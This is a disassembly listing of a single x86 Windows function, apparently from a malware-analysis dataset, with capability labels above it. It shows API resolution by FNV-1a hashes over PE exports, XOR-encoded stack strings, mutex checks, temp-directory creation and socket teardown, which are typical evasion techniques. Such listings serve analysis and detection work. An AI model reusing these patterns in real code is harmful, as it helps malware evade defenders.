Function at 0x45f4f0
Capabilities:
Access peb ldr_data
Check mutex on windows
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5035a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x804
push ebx
push esi
push edi
push 0x22
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00415150
mov ebx, eax
mov ecx, edx
shrd eax, ecx, 0x10
mov ecx, ebx
shrd ecx, edx, 8
movzx esi, al
movzx eax, cl
mov ecx, 0x535b44
add esi, eax
movzx eax, bl
add esi, eax
mov dword [ebp - 0x2c], esi
call fcn.00402800
push 0
mov esi, eax
call fcn.004eb3fb
add esp, 4
mov dword [ebp - 0x24], edx
mov edi, eax
push esi
call fcn.004ead47
mov ecx, dword [ebp - 0x2c]
add esp, 4
add eax, edi
sub ecx, 0xffffff80
add eax, ecx
push eax
call fcn.004e30ae
add esp, 4
push 0x100
push 0
push 0x537ef8
call fcn.004df440
mov esi, dword [0x535b54]
add esp, 0xc
mov ecx, 0x535b44
call fcn.00402800
push esi
push eax
push 0x537ef8
call fcn.004deec0
mov esi, dword [0x535b84]
add esp, 0xc
mov ecx, 0x535b74
call fcn.00402800
push esi
push eax
push 0x537f5c
call fcn.004deec0
add esp, 0xc
mov ecx, 0x535b44
call fcn.00402800
mov esi, eax
lea eax, [esi + 1]
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x45f5d4
mov ecx, 0x535b44
sub esi, eax
call fcn.00402800
push esi
push eax
lea ecx, [ebp - 0x2d4]
call fcn.004027a0
push eax
mov ecx, 0x535b44
call fcn.00465f90
lea ecx, [ebp - 0x2d4]
call fcn.004026c0
mov ecx, 0x535bd4
call fcn.00402800
mov esi, eax
lea eax, [esi + 1]
nop dword [eax]
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x45f620
mov ecx, 0x535bd4
sub esi, eax
call fcn.00402800
push esi
push eax
lea ecx, [ebp - 0x35c]
call fcn.004027a0
push eax
mov ecx, 0x535bd4
call fcn.00465f90
lea ecx, [ebp - 0x35c]
call fcn.004026c0
mov ecx, 0x535c64
call fcn.00402800
mov esi, eax
lea eax, [esi + 1]
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x45f665
mov ecx, 0x535c64
sub esi, eax
call fcn.00402800
push esi
push eax
lea ecx, [ebp - 0x344]
call fcn.004027a0
push eax
mov ecx, 0x535c64
call fcn.00465f90
lea ecx, [ebp - 0x344]
call fcn.004026c0
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0045f330
test al, al
jne 0x45f6c7
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x200
lea eax, [ebp - 0x708]
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x708]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x708]
push eax
lea ecx, [ebp - 0x3f4]
call fcn.00402760
sub esp, 0x18
lea eax, [ebp - 0x3f4]
mov ecx, esp
push eax
call fcn.00466110
mov edx, 0x1e8c53
lea ecx, [ebp - 0x1e4]
call fcn.0040bbc0
mov esi, dword [ebp - 0x1e4]
add esp, 0x18
mov ebx, dword [0x5382d0]
xor edi, edi
mov eax, dword [esi + 0x10]
sub eax, ebx
je 0x45f82e
cmp dword [esi + 0x14], 0x10
jb 0x45f748
mov esi, dword [esi]
mov ecx, 0x5382c0
call fcn.00402800
mov ecx, dword [esi + edi]
cmp ecx, dword [eax]
jne 0x45f78c
mov ecx, dword [esi + edi + 4]
cmp ecx, dword [eax + 4]
jne 0x45f78c
mov esi, dword [ebp - 0x1e4]
cmp dword [esi + 0x14], 0x10
jb 0x45f770
mov esi, dword [esi]
mov ecx, 0x5382c0
call fcn.00402800
mov ecx, dword [esi + edi + 8]
cmp ecx, dword [eax + 8]
jne 0x45f78c
mov ecx, dword [esi + edi + 0xc]
cmp ecx, dword [eax + 0xc]
je 0x45f7a1
mov esi, dword [ebp - 0x1e4]
inc edi
mov eax, dword [esi + 0x10]
sub eax, ebx
cmp edi, eax
jb 0x45f740
jmp 0x45f82e
lea ecx, [ebp - 0x36]
mov dword [ebp - 0x36], 0xd2c9dbee
mov dword [ebp - 0x32], 0xe1d8d0d4
mov word [ebp - 0x2e], 0x100
call fcn.00463160
movaps xmm0, xmmword [0x527b20]
lea ecx, [ebp - 0x258]
movups xmmword [ebp - 0x258], xmm0
mov dword [ebp - 0x228], 0x85cb849c
movaps xmm0, xmmword [0x527bb0]
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x224], 0x100d199
movaps xmm0, xmmword [0x5264b0]
movups xmmword [ebp - 0x238], xmm0
call fcn.00462770
push 0x14
lea eax, [ebp - 0x36]
push eax
lea eax, [ebp - 0x258]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x45f828
lea esi, [eax + 6]
jmp 0x46253c
mov esi, dword [ebp - 0x1e4]
push 0
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.00468790
push 0
push 3
mov dword [ebp - 4], 0xffffffff
mov edi, dword [0x535ab4]
mov esi, dword [0x535ab0]
push edi
push esi
call fcn.00502960
mov ebx, eax
mov eax, edi
add ebx, dword [0x535ab8]
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
adc edx, dword [0x535abc]
xor ecx, esi
xor eax, edx
mov dword [ebp - 0x3c], edx
or ecx, eax
je 0x45f88c
sub esi, ebx
mov dword [0x535ab0], esi
sbb edi, edx
mov dword [0x535ab4], edi
test edi, edi
jg 0x45f8a4
jl 0x45f8a4
cmp esi, 0xdc72
ja 0x45f8a4
test edi, edi
jg 0x45f8bb
jl 0x45f8a4
test esi, esi
jae 0x45f8bb
xorps xmm0, xmm0
movlpd qword [0x535ab0], xmm0
mov edi, dword [0x535ab4]
mov esi, dword [0x535ab0]
push 0
push 3
push edi
push esi
call fcn.00502960
mov ebx, eax
mov eax, edi
add ebx, dword [ebp - 0x2c]
mov ecx, ebx
mov dword [0x535ab8], ebx
adc edx, dword [ebp - 0x3c]
xor ecx, esi
xor eax, edx
mov dword [0x535abc], edx
or ecx, eax
je 0x45f8f6
sub esi, ebx
mov dword [0x535ab0], esi
sbb edi, edx
mov dword [0x535ab4], edi
test edi, edi
jg 0x45f90e
jl 0x45f90e
cmp esi, 0xdc72
ja 0x45f90e
test edi, edi
jg 0x45f919
jl 0x45f90e
test esi, esi
jae 0x45f919
xorps xmm0, xmm0
movlpd qword [0x535ab0], xmm0
push 0x360ef
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0xd9cec8cd
mov word [ebp - 0x3e], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x42]
mov ecx, 0x535b8c
push eax
call fcn.00465b80
test eax, eax
jne 0x45fa8a
call fcn.00415310
test al, al
je 0x45f9e8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x1c], ecx
cmp ecx, esi
je 0x45f9d9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f9d9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f9d2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f9b5
cmp esi, 0xe80fd3a
je 0x45f9dd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f9a0
mov eax, dword [eax]
jmp 0x45f970
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
jmp 0x45fa73
call fcn.00415450
test al, al
jne 0x45fa8a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x45fa69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fa69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fa62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fa45
cmp esi, 0xe80fd3a
je 0x45fa6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fa30
mov eax, dword [eax]
jmp 0x45fa01
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 0
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0x11e]
mov dword [ebp - 0x11e], 0xd9cec8cd
mov word [ebp - 0x11a], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x11e]
mov ecx, 0x535b2c
push eax
call fcn.00465b80
test eax, eax
jne 0x45fb8a
call fcn.00415490
mov bl, al
call fcn.00415520
mov bh, al
call fcn.00415780
test bl, bl
jne 0x45faef
test bh, bh
jne 0x45faef
test al, al
jne 0x45faef
call fcn.00415350
test al, al
je 0x45fb8a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x45fb69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fb69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fb62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fb45
cmp esi, 0xe80fd3a
je 0x45fb6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fb30
mov eax, dword [eax]
jmp 0x45fb00
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x100], 0xd9cec8cd
mov word [ebp - 0xfc], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x100]
mov ecx, 0x535c4c
push eax
call fcn.00465b80
test eax, eax
jne 0x45fbc7
lea ecx, [eax + 1]
call fcn.00415930
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0xd9cec8cd
mov word [ebp - 0x108], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x10c]
mov ecx, 0x535c34
push eax
call fcn.00465b80
test eax, eax
jne 0x45fc01
call fcn.004188c0
lea ecx, [ebp - 0x112]
mov dword [ebp - 0x112], 0xd9cec8cd
mov word [ebp - 0x10e], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x112]
mov ecx, 0x535b14
push eax
call fcn.00465b80
mov esi, dword [0x535ab4]
test eax, eax
mov edi, dword [0x535ab0]
push 0
push 3
push esi
push edi
setne byte [ebp - 0x15]
call fcn.00502960
mov ebx, eax
mov eax, esi
add ebx, dword [0x535ab8]
mov ecx, ebx
mov dword [0x535ab8], ebx
adc edx, dword [0x535abc]
xor ecx, edi
xor eax, edx
mov dword [0x535abc], edx
or ecx, eax
je 0x45fc85
sub edi, ebx
mov dword [0x535ab0], edi
sbb esi, edx
mov dword [0x535ab4], esi
test esi, esi
jg 0x45fc9d
jl 0x45fc9d
cmp edi, 0xdc72
ja 0x45fc9d
test esi, esi
jg 0x45fca8
jl 0x45fc9d
test edi, edi
jae 0x45fca8
xorps xmm0, xmm0
movlpd qword [0x535ab0], xmm0
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push 0x80000041
call esi
test eax, eax
jne 0x45fcc0
push connect
call esi
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x170], 0xd4d5d3ce
mov dword [ebp - 0x16c], 0xeecfcac9
mov dword [ebp - 0x168], 0xafaea5
mov byte [ebp - 0x164], 1
call fcn.00463250
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x45fd69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fd69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fd62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fd45
cmp esi, 0x53b2070f
je 0x45fd6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fd30
mov eax, dword [eax]
jmp 0x45fd00
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x170]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x45fd9a
xor esi, esi
jmp 0x46253c
lea ecx, [ebp - 0x163]
mov dword [ebp - 0x163], 0xf5f5f3ee
mov dword [ebp - 0x15f], 0xeeebfbf3
mov dword [ebp - 0x15b], 0x8f8e85
mov byte [ebp - 0x157], 1
call fcn.00463250
lea eax, [ebp - 0x163]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.00480ed0
lea ecx, [ebp - 0x8f]
mov word [ebp - 0x8f], 0x83
mov byte [ebp - 0x8d], 1
call fcn.00463460
push 0
lea eax, [ebp - 0x8f]
mov ecx, 0x535b74
push eax
call fcn.00465b80
cmp eax, 0xffffffff
je 0x45feab
lea ecx, [ebp - 0x92]
mov word [ebp - 0x92], 0x83
mov byte [ebp - 0x90], 1
call fcn.00463460
sub esp, 0x18
lea eax, [ebp - 0x92]
mov ecx, esp
push eax
call fcn.00402760
sub esp, 0x18
mov ecx, esp
push 0x535b74
call fcn.00466110
lea ecx, [ebp - 0x220]
call fcn.0040c490
mov ecx, dword [ebp - 0x21c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x220]
add esp, 0x30
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
jne 0x45fea0
lea eax, [esi + 0x18]
mov ecx, 0x538100
push eax
call fcn.00465f60
push dword [ebp - 0x220]
mov ecx, 0x535b74
call fcn.00465f60
lea ecx, [ebp - 0x220]
call fcn.00468250
push 0
push 0
push 0
push 0x41f670
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x535aac], 0xffffffff
jne 0x45ff77
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x45ff49
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ff49
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ff42
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ff25
cmp esi, 0x2fa62ca8
je 0x45ff4d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ff10
mov eax, dword [eax]
jmp 0x45fee0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x535aac], 0xffffffff
je 0x45fed4
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0x100e0e3
call fcn.00463430
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x214]
call fcn.00402760
mov ecx, 0x104
lea eax, [ebp - 0x810]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45ffa0
lea eax, [ebp - 0x810]
push eax
push 0xfb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xc
lea ecx, [ebp - 0x3ac]
call fcn.0040c7f0
lea ecx, [ebp - 0x133]
mov dword [ebp - 0x133], 0xded4ded8
mov word [ebp - 0x12f], 0xd8
mov byte [ebp - 0x12d], 1
call fcn.004634d0
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x133]
push eax
lea ecx, [ebp - 0x45c]
call fcn.00402760
push eax
lea edx, [ebp - 0x810]
lea ecx, [ebp - 0x444]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x42c]
mov edx, eax
call fcn.00469fc0
add esp, 4
mov ecx, 0x535afc
push eax
call fcn.00465f90
lea ecx, [ebp - 0x42c]
call fcn.004026c0
lea ecx, [ebp - 0x444]
call fcn.004026c0
lea ecx, [ebp - 0x45c]
call fcn.004026c0
lea ecx, [ebp - 0x9f]
mov dword [ebp - 0x9f], 0xd8d2dfd1
mov word [ebp - 0x9b], 0xd4
mov byte [ebp - 0x99], 1
call fcn.004634d0
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x9f]
push eax
lea ecx, [ebp - 0x48c]
call fcn.00402760
push eax
lea edx, [ebp - 0x810]
lea ecx, [ebp - 0x474]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x280]
mov edx, eax
call fcn.00469fc0
add esp, 4
lea ecx, [ebp - 0x474]
call fcn.004026c0
lea ecx, [ebp - 0x48c]
call fcn.004026c0
mov ecx, 0x535afc
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x4600fb
push 0
mov dl, 1
mov ecx, 0x535afc
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x280]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x460123
push 0
mov dl, 1
lea ecx, [ebp - 0x280]
call fcn.0040c0b0
add esp, 4
mov ecx, 0x535afc
call fcn.00402800
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call esi
test eax, eax
jne 0x46014e
mov ecx, 0x535afc
call fcn.004167c0
test al, al
je 0x46231e
lea ecx, [ebp - 0x280]
call fcn.00402800
push 0
push eax
call esi
test eax, eax
jne 0x4601e0
mov esi, dword [0x535ab4]
mov edi, dword [0x535ab0]
push eax
push 3
push esi
push edi
call fcn.00502960
mov ebx, eax
mov eax, esi
add ebx, dword [0x535ab8]
mov ecx, ebx
mov dword [0x535ab8], ebx
adc edx, dword [0x535abc]
xor ecx, edi
xor eax, edx
mov dword [0x535abc], edx
or ecx, eax
je 0x4601b2
sub edi, ebx
mov dword [0x535ab0], edi
sbb esi, edx
mov dword [0x535ab4], esi
test esi, esi
jg 0x4601ca
jl 0x4601ca
cmp edi, 0xdc72
ja 0x4601ca
test esi, esi
jg 0x4601d5
jl 0x4601ca
test edi, edi
jae 0x4601d5
xorps xmm0, xmm0
movlpd qword [0x535ab0], xmm0
lea ecx, [ebp - 0x280]
call fcn.004167c0
lea ecx, [ebp - 0x280]
call fcn.00402800
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x80], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x3c]
mov edx, dword [eax + esi + 0x78]
lea eax, [edx + esi]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x460264
mov edi, dword [eax + 0x18]
test edi, edi
je 0x460264
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x46025d
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x460240
cmp esi, 0x7a5b9fa2
je 0x460268
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x460226
mov ecx, dword [ecx]
jmp 0x460200
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x80]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x280]
mov ecx, 0x535ba4
push eax
call fcn.00465f60
call fcn.00416ba0
test al, al
je 0x46046f
cmp byte [ebp - 0x15], 0
jne 0x46046f
lea ecx, [ebp - 0x77]
mov dword [ebp - 0x77], 0xdfd2d6ca
mov dword [ebp - 0x73], 0xa9d3edd6
mov dword [ebp - 0x6f], 0xaa82a7a5
mov word [ebp - 0x6b], 0xa1
mov byte [ebp - 0x69], 1
call fcn.004633a0
push 0x535b44
lea edx, [ebp - 0x77]
lea ecx, [ebp - 0x2d4]
call fcn.00469e60
add esp, 4
mov ecx, eax
call fcn.00402800
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x2d4]
call fcn.004026c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x462519
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1f
push 0x3e0
call ebx
sub esi, 1
jne 0x460324
lea ecx, [ebp - 0x36]
mov dword [ebp - 0x36], 0xfff5ecf1
mov dword [ebp - 0x32], 0xacd3da93
mov word [ebp - 0x2e], 0x100
call fcn.00463160
sub esp, 0x18
lea eax, [ebp - 0x36]
mov ecx, esp
push eax
call fcn.00402760
call fcn.0041fb30
mov ecx, dword [0x5381b8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5381b4]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4603a4
push 0x30
call ebx
mov ecx, dword [0x5381b8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5381b4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x460381
push 2
push dword [0x535aac]
mov byte [0x537ec1], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x535aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop dword [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x460444
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460444
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x46043d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x460420
cmp esi, 0x2fa62ca8
je 0x460448
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x460405
mov eax, dword [eax]
jmp 0x4603e0
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x18a
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4603d0
mov esi, dword [0x535ab4]
mov edi, dword [0x535ab0]
push 0
push 3
push esi
push edi
call fcn.00502960
mov ebx, eax
add ebx, dword [0x535ab8]
mov ecx, ebx
mov dword [0x535ab8], ebx
adc edx, dword [0x535abc]
xor ecx, edi
mov eax, edx
mov dword [0x535abc], edx
xor eax, esi
or ecx, eax
je 0x4604bc
sub edi, ebx
mov dword [0x535ab0], edi
sbb esi, edx
mov dword [0x535ab4], esi
test esi, esi
jg 0x4604d4
jl 0x4604d4
cmp edi, 0xdc72
ja 0x4604d4
test esi, esi
jg 0x4604df
jl 0x4604d4
test edi, edi
jae 0x4604df
xorps xmm0, xmm0
movlpd qword [0x535ab0], xmm0
lea ecx, [ebp - 0x7c]
mov byte [0x537eed], 0
mov word [ebp - 0x7c], 0xc5
mov byte [ebp - 0x7a], 1
call fcn.00463460
lea ecx, [ebp - 0x3c4]
call fcn.0040d1d0
push 0
push 0x336d
mov esi, eax
call fcn.00407d20
mov ebx, dword [0x535aac]
lea ecx, [ebp - 0x7c]
add esp, 8
lea edx, [ecx + 1]
mov edi, eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460522
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
mov ecx, esi
call fcn.00468980
push eax
lea ecx, [ebp - 0x35c]
call fcn.00402710
sub esp, 0x18
lea edx, [ebp - 0x35c]
mov ecx, esp
push 0x535b44
call fcn.00469fc0
add esp, 4
mov edx, edi
mov ecx, ebx
call fcn.0041ea80
add esp, 0x18
lea ecx, [ebp - 0x35c]
mov bl, al
call fcn.004026c0
lea ecx, [ebp - 0x3c4]
call fcn.004026c0
test bl, bl
je 0x460632
cmp byte [0x537eed], 0
jne 0x460632
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460604
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460604
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4605fd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4605e0
cmp esi, 0x2fa62ca8
je 0x460608
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4605c6
mov eax, dword [eax]
jmp 0x4605a0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x65
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x537eed], 0
je 0x460594
mov edx, 0x535ae4
lea ecx, [ebp - 0x250]
call fcn.0041c990
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x214]
call fcn.00465f60
